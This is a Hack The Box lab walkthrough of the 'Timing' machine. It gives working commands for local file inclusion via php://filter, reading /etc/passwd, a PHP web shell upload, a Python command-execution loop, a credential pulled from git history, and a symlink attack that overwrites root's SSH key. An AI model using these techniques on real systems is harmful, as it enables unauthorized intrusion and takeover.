Timing — Hackthebox Walkthrough

Timing was a cool box which I learned the importance of enumeration. The foothold part was a little bit frustrating to do but as a whole I loved the box. Kudos to @irogir
Foothold
Actually there were 2 methods to get the foothold, and the method I used was not the intended way. In this walkthrough, I am going to show case the way I did it 😄
Doing my lazy nmap, I found two open ports.
nmap --open -sC -sV -A 10.10.11.135
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
AAAAC3NzaC1lZDI1NTE5AAAAIAdZXeQCf1/rM6H0MCDVQ9d+24wwNti/hzCsKjyIpvmG
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Looking at the HTTP server, I saw there was a login page.

I tried SQLi with no success. Then I started my ffuf
to see what I can find there.
ffuf -u http://10.10.11.135/FUZZ -x .php -w /usr/share/wordlists/dirb/big.txt
css [Status: 301, Size: 310, Words: 20, Lines: 10]
db_conn.php [Status: 200, Size: 0, Words: 1, Lines: 1]
footer.php [Status: 200, Size: 3937, Words: 1307, Lines: 116]
header.php [Status: 302, Size: 0, Words: 1, Lines: 1]
image.php [Status: 200, Size: 0, Words: 1, Lines: 1]
images [Status: 301, Size: 313, Words: 20, Lines: 10]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
js [Status: 301, Size: 309, Words: 20, Lines: 10]
login.php [Status: 200, Size: 5609, Words: 1755, Lines: 178]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
profile.php [Status: 302, Size: 0, Words: 1, Lines: 1]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
upload.php [Status: 302, Size: 0, Words: 1, Lines: 1]
Something odd I noticed was the image.php
Actually there is no need for there to be a image.php
file when there is already a images
directory available right? I know this was a silly thing to think but this is where the unintended way comes in.
So with this I started to test for IDORs since image.php
was just a blank page.Since this was about image files, I tried fuzzing the page like this.
ffuf -u ‘http://10.10.11.135/image.php?FUZZ=/' -w /usr/share/wordlists/dirb/common.txt -fw 1

And I got a hit on img
So I started playing around with this a little and I was able to get LFI with a php filter.
http://10.10.11.135/image.php?img=php://filter/resource=/etc/passwd

I saw there was a user named aaron
in the here.

So with some effort I was able to log in to the application with the username as aaron
and the password as aaron
too.
username: aaron
password: aaron
I was logged in as user 2.

Then I tired editing my profile from profile.php
And I saw there saw a role
was set to 0

So I tried adding role
as an an extra parameter and setting it equals to 1
.

And it worked I was able to get the application to set my role as 1. Then I refreshed the the page and I had the ability to access the admin panel.

In the admin panel I was able to upload an avatar to my profile. I uploaded a JPEG file and but I couldn’t find where the uploaded file was saved in the server. So I used the LFI to see what the upload.php
page did.
curl 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php'|base64 -d
And I saw exactly what I wanted to see.

What this does is that when the file is uploaded, an MD5 hash is made using the “$file_hash”
string and the time which the file is uploaded. Then the name of you file is appended to the MD5 hash and saved in images/uploads
.
Knowing this, I uploaded a JPEG files with the contents of a simple PHP payload.
<?php system($_GET['c']); ?>

Then I saw the time was set to Wed, 15 Dec 2021 14:05:49 GMT
So I used this site to convert this time to EPOCH time.

Then as mentioned in the upload.php
I used this to find out the name of the file that is saved in the server.
php -a
echo md5('$file_hash'. 1639577149) . '_' . 'kavigihan.jpg';

I looked to see if the file existed on the server and it did. So I used the LFI to include this file and get RCE.

User
Even if I was able to get RCE as www-data, I wasn’t able to get a reverse shell though. So I made a little script to execute commands easily.
#!/usr/bin/python3
import requestsfile = "2f72fa9dcbe118d3a6554f7796d0f782_kavigihan.jpg"
cookie = {"Cookie" : "PHPSESSID=o337at0p5vuddvukl68r1s2af7"}while True:
cmd = input("> ")
r = requests.get(f"http://10.10.11.135/image.php?img=php://filter/resource=images/uploads/{file}&c={cmd}",headers=cookie)
print(r.text)
With the help of this script I found that there was a ZIP file in the /opt
. I copied it to /var/www/html
and then I downloaded it to my box. After extracting it, I saw that was a backup of the webroot of this site. Also the .git
directory was exposed.

I looked at the old commits and found 2.
git log

Looking at the first commit I was able to find a password.
git show 16de2698b5b122c93461298eab730d00273bd83e

I was able to ssh in as aaron
with this password.
username: aaron
password: S3cr3t_unGu3ss4bl3_p422w0Rd
Root
Running sudo -l
as aaron
I saw I was able to run /usr/bin/netutils
as root without a password.

This tool was just a script to download files through HTTP and FTP. When I downloaded a file, it is saved in the current directory. And since we are running with sudo, the file is written and saved as root. This means we have a way to write files as root.
I abused this by using symbolic links. I have show cased this method before in other HTB boxes too.
So what I did was I made a symlink in /dev/shm
to point to the /root/.ssh/id_rsa
.
ln -s /root/.ssh/id_rsa id_rsa

And then I made two ssh keys in my box and hosted them.
ssh-keygen -f id_rsa
sudo python3 -m http.server 80
Then I used the /usr/bin/netutils
tool to download that file, since we have a symlink named id_rsa
pointing to /root/.ssh/id_rsa
the contents of the file will be written to /root/.ssh/id_rsa
instead of /dev/shm/id_rsa
.

And then I just sshed in with the private key I created.

Rooted!!
“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”
Email — iamkavigihan@gmail.com
Instagram — https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518
Happy Hacking !!! 😄